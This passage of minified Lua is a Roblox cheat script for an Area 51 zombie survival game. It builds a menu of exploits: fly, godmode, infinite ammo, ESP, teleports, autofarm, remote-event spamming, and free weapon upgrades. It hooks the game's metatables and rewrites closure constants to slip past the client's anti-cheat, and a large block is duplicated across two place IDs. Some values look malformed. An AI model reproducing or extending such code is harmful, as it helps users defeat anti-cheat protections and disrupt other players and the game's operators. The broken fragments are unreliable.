game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow","MG42","FreezeGunas"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(game:GetService("Workspace").AREA51[ag])wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==3182083477 then local o="BloodTheme"local x=n.CreateLib("Extreme Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then 